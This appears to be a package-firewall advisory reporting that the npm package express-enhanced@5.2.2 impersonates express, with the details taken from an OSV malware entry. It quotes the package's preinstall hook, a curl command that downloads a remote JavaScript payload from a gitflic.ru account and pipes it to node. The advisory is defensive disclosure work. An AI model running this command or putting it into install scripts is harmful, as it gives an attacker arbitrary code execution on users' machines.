Trusted malware advisory MAL-2026-17489 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

OpenSSF/OSV advisory MAL-2026-17489 confirms this npm version as malicious. express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares \`TJ Holowaychuk\` as author, and points \`repository\` at \`expressjs/express\`, while publishing under a different name.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares \`TJ Holowaychuk\` as author, and points \`repository\` at \`expressjs/express\`, while publishing under a different name. The package.json preinstall script runs \`curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node\`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at \`npm install\` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.
